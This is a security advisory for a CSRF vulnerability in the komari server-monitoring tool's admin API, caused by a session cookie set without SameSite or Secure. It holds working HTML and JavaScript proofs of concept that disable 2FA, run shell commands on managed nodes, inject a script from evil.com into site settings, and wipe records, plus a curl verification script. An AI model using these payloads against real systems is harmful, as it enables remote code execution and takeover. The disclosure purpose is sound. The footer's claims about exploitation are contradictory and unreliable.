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GHSA-hxjg-93wc-h8p8
github.com/komari-monitor/komariVulnerability Overview
The session_token cookie is set without the SameSite or Secure attributes (login.go:68).
All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.
The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.
Root Cause
// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
// Secure=false, SameSite not explicitly set
// Admin route group (server.go:213-343) has no CSRF middleware
Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.
Browser Limitations
- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to
SameSite=Lax. - Cookies without an explicit
SameSiteattribute are not included in cross-site POST requests. - As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
| Scenario | Exploitable |
|----------|-------------|
| Cross-site HTML (modern browsers) | ✗ Blocked by SameSite=Lax |
| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |
| Same-origin context (Browser Console / existing XSS) | ✓ |
| Man-in-the-middle over HTTP (Secure=false) | ✓ |
High-Impact Operations Reachable via CSRF
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/admin/task/exec | POST | Execute arbitrary shell commands on managed nodes |
| /api/admin/2fa/disable | POST | Disable administrator two-factor authentication |
| /api/admin/settings/ | POST | Modify system configuration |
| /api/admin/upload/backup | POST | Upload a malicious backup |
| /api/admin/record/clear/all | POST | Delete all monitoring records |
| /api/admin/client/:uuid/edit | POST | Modify client configuration |
| /api/admin/client/:uuid/remove | POST | Remove managed clients |
| /api/admin/session/remove/all | POST | Invalidate all active sessions |
| /api/admin/settings/cloudflared/start | POST | Start a Cloudflared tunnel |
PoC 1 — Disable 2FA
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
PoC 2 — Remote Command Execution
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>
PoC 3 — Modify System Configuration
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"site_name": "Pwned",
"custom_head": "<script src='https://evil.com/hook.js'><\/script>"
})
});
</script>
</body>
</html>
PoC 4 — Clear All Monitoring Records
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/record/clear/all"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
Verification Script
#!/bin/bash
KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
-X POST "$KOMARI/api/public/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
-H "Origin: https://evil.com" \
"$KOMARI/api/public/config" | grep -i 'access-control'
echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KOMARI/api/admin/settings/" \
-H "Content-Type: application/json" \
-H "Origin: https://evil.com" \
-d '{}')
echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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